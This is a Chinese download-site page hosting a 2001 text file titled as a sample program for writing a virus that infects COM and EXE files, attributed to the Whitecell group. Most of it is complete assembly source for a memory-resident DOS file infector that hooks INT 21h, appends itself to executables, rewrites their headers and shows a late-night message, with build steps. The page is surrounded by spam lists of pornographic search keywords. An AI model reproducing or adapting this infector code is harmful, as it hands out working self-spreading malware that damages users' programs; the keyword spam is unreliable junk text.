亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? 編寫感染com與exe文件的病毒的樣例程序 .txt

?? 電子書籍,里面有豐富的文章和精神的營養(yǎng),
?? TXT
字號:
編寫感染COM與EXE文件的病毒的樣例程序 

Author: whg
Email: whg@whitecell.org
Homepage:http://www.whitecell.org 
Date: 2001-11-29


;此程序是d由v0病毒改裝升級而來 
;在DOS下才有一定的傳染能力 
;此程序部分應(yīng)用了32位編程 
;制作方法如下 
;tasm32 dv1; 
;tlink dv1; 
;Debug dv1.exe 
;-n dv1.com 
;-w 
;-q 
;最后生成dv1.com病毒程序 
OFF equ Offset 
DosMcb Struc ;Dos內(nèi)存控制鏈結(jié)構(gòu)(部分) 
Flag db ? ;是'M'則不是最后一塊;是 'Z'則是最后一塊 
Owner dw ? ;是008: 則是系統(tǒng)所有;是0則為未使用內(nèi)存塊 
Sizes dw ? ;本塊大小,按節(jié)計算(1節(jié)=10h字節(jié)) 
DosMcb Ends 
ExeHeader Struc ;Exe文件頭結(jié)構(gòu) 
Flags dw 'ZM';Exe文件標(biāo)志 
ModSize dw ? ;Exe文件最后一頁字節(jié)數(shù) 
Pages dw ? ;Exe文件頁數(shù)(1頁為512字節(jié)) 
Reloc dw ? ;Exe文件從定位項數(shù) 
MeSize dw ? ;本文頭節(jié)數(shù) 
MinMem dw ? ;該程序所須最小內(nèi)存(節(jié)) 
MaxMem dw ? ;該程序所須最大內(nèi)存(節(jié)) 
StartSs dw ? ;程序Sp初值 
StartSp dw ? ;程序相對Ss初值 
CheckSum dw ? ;文件頭檢查和 
StartIp dw ? ;程序Ip初值 
StartCs dw ? ;程序相對Cs初值 
RelocOff dw ? ;從定位信息偏移 
ExeHeader Ends 
VirusSize=OFF @@End-OFF @@Start ;(病毒大小) 
VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的內(nèi)存大小) 
.386 
.model small 
.code 
org 100h ;按COM格式編寫 
@@Start: ;病毒引導(dǎo)塊 
pusha ;保存所有通用寄存器 
mov ax,4d4dh 
int 21h ;是否已經(jīng)駐留內(nèi)存(自定義中斷) 
cmp ax,4d4dh 
jz short @@ExecOldApp ;否,調(diào)用安裝模塊 
call @@Install 
@@ExecOldApp: 
mov ah,2ch 
int 21h ;得到系統(tǒng)時間 
cmp cx,22*100h+30 ;(Cmp 時間:22:30) 
jb short @@TestFlag ;不到22:30不調(diào)用顯示消息 
call @@DisplayMsg ;調(diào)用表現(xiàn)塊 
@@TestFlag: 
clc ;預(yù)設(shè)為Clc指令,表示是Com文件(若在傳染時被改成Stc則是Exe文件) 
jc short @@IsExeApp 
@@IsComApp: 
call @@GetOldComAppCode 
OldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以返回Dos 
dw 0000h ;這里為保存原COM文件頭部4字節(jié)信息 
@@GetOldComAppCode: 
pop si ;得到OldAppCode的地址 
mov di,100h 
cld 
lodsd 
stosd ;恢復(fù)原COM頭部4字節(jié) 
popa ;恢復(fù)所有通用寄器 
push word ptr 100h 
ret ;去執(zhí)行原COM程序 
@@IsExeApp: 
popa ;恢復(fù)所有通用寄器 
cli ;改變堆棧指針時要關(guān)閉中斷 
mov sp,es ;得到Psp( Sp=PSP段址) 
add sp,10h 
SpAddData dw 0c481h;0bch是add sp,xxxx指令 
OldAppSs dw 000h ;原Exe文件Ss相對值 
mov ss,sp ;計算出原程序堆棧并恢復(fù) 
MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令 
OldAppSp dw 000h ;原Exe文件Sp值 
sti ;從新開啟中斷 
push ax 
mov ax,es ;得到Psp( Ax=PSP段址) 
add ax,10h 
AxAddData db 005h ;05h是add ax,xxxx指令,計算原程序Cs值 
OldAppCs dw 000h ;原Exe文件Cs相對值 
movzx esp,sp ;轉(zhuǎn)化為32位[esp]式堆棧尋址 
xchg ax,[esp] ;恢復(fù)ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆棧尋址 
PushWordData db 068h ;068h是push word ptr xxxx指令 
OldAppIp dw 000h ;原Exe文件Ip值 
retf ;去執(zhí)行原Exe程序 
@@Install: 
push ds 
push es ;保存段寄存器 
mov ax,ds 
dec ax ;得到自己的MCB結(jié)構(gòu)段址,它在程序的PSP前 
@@ContFindLastMcb: 
mov ds,ax 
cmp ds:[Flag],'Z' ;是最后一塊嗎? 
jz short @@FoundLastMcb 
add ax,ds:[Sizes] 
inc ax ;計算下一個MCB 的段址=本塊段址+本塊大小+1 
jmp short @@ContFindLastMcb 
@@FoundLastMcb: 
sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一塊大小減去病毒所須內(nèi)存大小(節(jié)數(shù)) 
add ax,ds:[Sizes] 
inc ax ;計算出病毒在高端RAM的地址(即在最后一塊劃出的空間段址) 
mov es,ax 
xor di,di 
push cs 
pop ds ;復(fù)位數(shù)據(jù)段 
call @@GetVirusBase 
@@GetVirusBase: 
pop si 
sub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址 
mov cx,VirusSize 
cld 
rep movsb ;把病毒搬運到高端地址 
sub ax,10h ;計算出高端病毒的段地址(為使病毒偏移對齊,所以減去10h) 
mov ds,ax 
@@ContInstall: 
mov ax,3521h 
int 21h ;取Int 21h的中斷向量,并保存 
mov ds:OldInt21Seg,es 
mov ds:OldInt21Off,bx 
lea dx,@@NewInt21 
mov ax,2521h 
int 21h ;設(shè)新的Int 21h處理程序到@@NewInt21處 
pop es 
pop ds 
ret 
@@NewInt21: ;新Int21 h服務(wù)程序(傳染塊) 
cmp ax,4d4dh 
jnz short @@NextHook 
iret ;是自定義中斷,直接返回 
@@NextHook: 
cmp ah,4bh 
jz short @@MyBeCom 
cmp ah,43h 
jz short @@MyBeCom 
cmp ah,3dh 
jz short @@MyBeCom ;截獲4b,43,3d號Dos功能 
@@JmpOldInt21: 
cli ; 進(jìn)入Int21h前,需要關(guān)中斷! 
JmpFar db 0eah ;遠(yuǎn)跳轉(zhuǎn)指令jmp xxxx:xxxx 
OldInt21Off dw ? 
OldInt21Seg dw ? 
@@CallInt21: ; 模擬Int 21h指令 
pushf 
push cs 
call @@JmpOldInt21 
ret 
@@MyBeCom: ;入口參數(shù)ds:dx=以零結(jié)尾的Com文件名字符串 
pusha 
push ds 
mov si,dx 
xor al,al 
@@ContFindExtName: ;找擴(kuò)展名 
inc si 
cmp [si],al 
jnz short @@ContFindExtName 
mov eax,[si-4] 
or eax,20202020h ;轉(zhuǎn)化為小寫字母 
cmp eax,'moc.' ;是.com文件嗎? 
jz short @@IsComFile 
cmp eax,'exe.' ;是.exe文件嗎? 
jz short @@IsExeFile 
@@ExitOpt: 
pop ds 
popa 
jmp short @@JmpOldInt21 
@@IsComFile: 
mov ax,3d02h 
call @@CallInt21 ;3dh,打開COM文件 
jc short @@OptComFalse ;失敗 
mov bx,ax 
push cs 
pop ds ;復(fù)位數(shù)據(jù)段 
mov ds:byte ptr[@@TestFlag],0f8h ;設(shè)為Clc指令,表示傳染的是Com文件 
lea dx,OldAppCode 
mov cx,4 
mov ah,3fh 
int 21h ;讀文件首部4字節(jié) 
jc short @@CloseComFile 
mov si,dx 
cmp word ptr[si],'ZM' ;是否是EXE文件(是否是Com文件不能僅由擴(kuò)展名判斷) 
jz short @@CloseComFile ;是就不感染 
cmp byte ptr[si+3],'V';是否有已感染病毒標(biāo)志 
jz short @@CloseComFile ;是則說明該程序已經(jīng)被感染了 
mov ax,4202h 
xor cx,cx 
xor dx,dx 
int 21h ;將文件指針移到文件尾,返回dx:ax=文件長度 
or dx,dx 
jnz short @@CloseComFile ;文件太大不感染 
mov dx,ax 
add ax,VirusSize 
jc short @@CloseComFile ;文件太大不感染 
cmp ax,0fd00h 
ja short @@CloseComFile ;文件太大不感染 
sub dx,03 ;計算出Jmp Virus的偏移量 
mov ds:JmpOffset,dx 
lea dx,@@Start 
mov cx,VirusSize 
mov ah,40h 
int 21h ;將病毒寫到文件尾部 
mov ax,4200h 
xor cx,cx 
xor dx,dx 
int 21h ;把文件指針移到文件首 
mov cx,04h 
lea dx,@@JmpVirus 
mov ah,40h 
int 21h ;寫Jmp Virus與病毒Flag 4字節(jié)到文件首部 
@@CloseComFile: 
mov ah,3eh 
int 21h ;關(guān)閉文件 
@@OptComFalse: 
jmp short @@ExitOpt 
@@IsExeFile: 
mov ax,3d02h 
call @@CallInt21 ;3dh,打開Exe文件 
jc @@OptExeFalse ;失敗 
mov bx,ax 
push cs 
pop ds ;復(fù)位數(shù)據(jù)段 
mov ds:byte ptr[@@TestFlag],0f9h ;設(shè)為Stc指令,表示傳染的是Exe文件 
lea dx,MyExeHeader 
mov cx,size ExeHeader 
mov ah,3fh 
int 21h ;讀文件首部4字節(jié) 
jc @@CloseExeFile 
cmp ax,cx 
jb @@CloseExeFile 
mov si,dx 
cmp word ptr[si.Flags],'ZM' ;是否是EXE文件(是否是EXE文件不能僅由擴(kuò)展名判斷) 
jnz @@CloseExeFile ;不是就不感染 
cmp [si.CheckSum],'VV' ;是否有已感染病毒標(biāo)志 
jz @@CloseExeFile ;是則說明該程序已經(jīng)被感染了 
mov ax,4202h 
xor cx,cx 
xor dx,dx 
int 21h ;將文件指針移到文件尾,返回dx:ax=文件長度 
cmp dx,8h 
ja short @@CloseExeFile ;文件太大,可能是Windows應(yīng)用程序 
shl edx,16 
mov dx,ax 
push edx ;保存文件大小 
shr edx,4 
sub dx,[si.MeSize] ;計算病毒在該Exe程序中新的相對Cs 
and ax,0fh ;計算病毒在該Exe程序中新的Ip值(0=<Ip<10h) 
mov cx,dx ;cx=dx=新的相對Cs值 
xchg [si.StartCs],dx 
mov ds:[OldAppCs],dx ;修改相對Cs值,保存原相對Cs值 
xchg [si.StartSs],cx 
mov ds:[OldAppSs],cx ;修改相對Ss值,保存原相對Ss值 
xchg [si.StartIp],ax 
mov ds:[OldAppIp],ax ;修改Ip值,保存原Ip值 
xor ax,ax 
xchg [si.StartSp],ax ;修改Sp值,保存原Sp值 
mov ds:[OldAppSp],ax 
mov [si.CheckSum],'VV';設(shè)置傳染標(biāo)志 
pop edx ;彈出文件大小 
mov ecx,VirusSize 
add edx,ecx ;計算感染后文件的大小 
mov ax,dx 
and ax,1ffh ;計算感染后文件的ModSize 
mov [si.ModSize],ax 
add edx,1ffh 
shr edx,9 ;計算感染后文件的Pages 
mov [si.Pages],dx 
lea dx,@@Start 
mov ah,40h 
int 21h ;將病毒寫到文件尾部 
mov ax,4200h 
xor cx,cx 
xor dx,dx 
int 21h ;把文件指針移到文件首 
mov cx,size ExeHeader 
lea dx,MyExeHeader 
mov ah,40h 
int 21h ;寫文件頭到文件首部 
@@CloseExeFile: 
mov ah,3eh 
int 21h ;關(guān)閉文件 
@@OptExeFalse: 
jmp @@ExitOpt 
@@JmpVirus: 
JumpNear db 0e9h ;近轉(zhuǎn)移指令Jmp near xxxx 
JmpOffset dw ? 
VirusFlag db 'V' ;病毒標(biāo)志為'V'字符 
@@DisplayMsg: 
pop dx 
push dx 
add dx,OFF @@Message-OFF @@TestFlag ;計算@@Message的偏移量 
push ds 
push cs 
pop ds 
mov ah,09h 
int 21h ;顯示信息,“夜已深,你該睡覺了!” 
pop ds 
ret 
@@Message: 
db 0ah,0dh,07h 
db 'Night is deep,you must go sleep!' 
db 0ah,0dh,'$' 
db 'Go Sleep Ver3.0 by Whg 2001.5.2' 
@@End: 
MyExeHeader db size ExeHeader dup(?) 
@@MemEnd: 
end @@Start 





WSS(Whitecell Security Systems),一個非營利性民間技術(shù)組織,致力于各種系統(tǒng)安全技術(shù)的研究。堅持傳統(tǒng)的hacker精神,追求技術(shù)的精純。
WSS 主頁:http://www.whitecell.org/ 
WSS 論壇:http://www.whitecell.org/forum/ 

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
aaa国产一区| 亚洲欧洲无码一区二区三区| 欧美日韩一区二区在线观看视频| 成年人国产精品| 成人激情免费网站| 成人午夜短视频| 国产suv一区二区三区88区| 国产一区二区毛片| 国产麻豆精品久久一二三| 久久www免费人成看片高清| 精品在线亚洲视频| 国产美女一区二区三区| 国产精品白丝av| 国产a精品视频| 99久久精品免费精品国产| 欧美二区在线观看| 欧美日韩国产一二三| 欧美一区三区二区| 欧美一区二区三区四区五区 | 免费观看成人av| 青青国产91久久久久久| 蜜桃精品视频在线观看| 蜜臀久久久久久久| 国产精品一卡二卡| 一本色道久久综合精品竹菊| 欧美三区在线视频| 精品国产乱码久久久久久图片| 日韩欧美一区二区免费| 久久九九99视频| 亚洲色图一区二区三区| 亚洲一区二区精品久久av| 免费成人av在线播放| 国产成人精品亚洲日本在线桃色| 99精品视频中文字幕| 欧美日韩精品是欧美日韩精品| 日韩欧美在线1卡| 国产精品婷婷午夜在线观看| 亚洲老司机在线| 久久国产综合精品| 波多野结衣视频一区| 精品视频在线视频| 国产亚洲精品资源在线26u| 综合精品久久久| 视频在线观看91| 成人免费av在线| 欧美日韩三级一区| 国产拍揄自揄精品视频麻豆| 亚洲猫色日本管| 六月丁香婷婷色狠狠久久| caoporn国产一区二区| 3atv一区二区三区| 国产精品久久久久久户外露出| 亚洲国产精品久久人人爱 | 欧美四级电影网| 精品国产精品网麻豆系列| 亚洲人123区| 日本不卡123| 99久久婷婷国产综合精品电影 | 国产精品毛片高清在线完整版| 亚洲一区二区三区精品在线| 国产成人一级电影| 8x福利精品第一导航| 亚洲欧洲国产日本综合| 久久国产生活片100| 久久久国产午夜精品| 亚洲另类在线视频| 高清成人免费视频| 69av一区二区三区| 亚洲欧美日韩国产另类专区| 极品少妇一区二区三区精品视频| 91福利区一区二区三区| 中文av一区二区| 久久69国产一区二区蜜臀| 欧美在线短视频| 国产精品午夜春色av| 捆绑紧缚一区二区三区视频 | 欧美精品一区二区三| 亚洲一区在线观看免费观看电影高清 | 欧美军同video69gay| 亚洲欧洲韩国日本视频| 粉嫩av一区二区三区| 日韩美女主播在线视频一区二区三区| 亚洲综合激情另类小说区| 高清国产午夜精品久久久久久| 精品久久久网站| 日韩电影在线一区| 欧美乱熟臀69xxxxxx| 亚洲精品菠萝久久久久久久| 成人深夜福利app| 国产欧美日本一区视频| 韩国av一区二区三区在线观看| 欧美精品少妇一区二区三区| 亚洲伊人色欲综合网| 色八戒一区二区三区| 亚洲欧洲av另类| 成人av在线影院| 国产精品乱码一区二区三区软件| 国产在线视视频有精品| 欧美一区二区三区白人| 日韩精品电影在线观看| 欧美日韩一区中文字幕| 亚洲成av人综合在线观看| 欧美性猛交一区二区三区精品| 亚洲精品老司机| 欧美性猛交xxxxxx富婆| 亚洲va欧美va天堂v国产综合| 欧美色图激情小说| 五月开心婷婷久久| 日韩视频一区二区| 蜜桃av一区二区三区电影| 日韩午夜在线影院| 久久国产视频网| 久久夜色精品国产欧美乱极品| 激情文学综合插| 久久精品一区二区三区不卡| 国产盗摄一区二区三区| 欧美激情一区不卡| 97久久超碰国产精品| 一区二区三区日韩在线观看| 欧美日韩免费观看一区三区| 日本不卡不码高清免费观看| 精品国产一区二区三区av性色| 精品无码三级在线观看视频 | 韩国视频一区二区| 中文成人av在线| 91麻豆精东视频| 亚洲国产中文字幕在线视频综合| 欧美卡1卡2卡| 国产一区二区三区香蕉| 国产精品人人做人人爽人人添| 97精品视频在线观看自产线路二| 亚洲专区一二三| 日韩一区二区免费电影| 国产福利不卡视频| 亚洲精品成a人| 欧美一区二区三区成人| 丁香亚洲综合激情啪啪综合| 亚洲婷婷综合久久一本伊一区| 欧美日韩亚洲综合| 国产一区二区导航在线播放| 亚洲婷婷综合久久一本伊一区| 欧美日韩在线播| 国产精品18久久久久久久久 | 制服丝袜中文字幕一区| 国产综合久久久久影院| 国产精品久久久久久久久晋中 | 国产乱码一区二区三区| 最新日韩av在线| 日韩欧美资源站| 成人h精品动漫一区二区三区| 亚洲成人av电影| 中文欧美字幕免费| 欧美日韩国产另类一区| 韩国成人在线视频| 一区二区三区日韩欧美| 久久久亚洲国产美女国产盗摄| 色噜噜狠狠色综合欧洲selulu| 久久精品国产亚洲aⅴ| 亚洲精品亚洲人成人网| 欧美成人官网二区| 色94色欧美sute亚洲线路一ni| 久久av资源站| 一区二区高清免费观看影视大全 | 国产精品拍天天在线| 欧美日韩午夜在线| 丁香激情综合国产| 日韩av不卡在线观看| 亚洲欧洲韩国日本视频| 亚洲精品一区二区三区蜜桃下载 | 亚洲欧洲综合另类| 精品国产免费视频| 欧美猛男超大videosgay| yourporn久久国产精品| 久久91精品国产91久久小草| 亚洲线精品一区二区三区八戒| 中文字幕免费观看一区| 日韩一区二区精品在线观看| 欧美专区日韩专区| 成人性色生活片免费看爆迷你毛片| 奇米四色…亚洲| 亚洲成人动漫在线免费观看| 1024成人网| 日本一区二区三区国色天香| 日韩欧美色综合| 91精品国产欧美日韩| 欧美色大人视频| 91国偷自产一区二区三区观看| 成人小视频在线| 国产成人精品一区二区三区四区| 另类专区欧美蜜桃臀第一页| 午夜精品免费在线| 一区二区三区免费网站| 日韩码欧中文字| 中文字幕一区二区三区蜜月 | 国产一区二区三区蝌蚪| 麻豆精品新av中文字幕| 日韩国产精品久久久久久亚洲| 午夜精品久久一牛影视| 亚洲大片在线观看| 亚洲二区视频在线|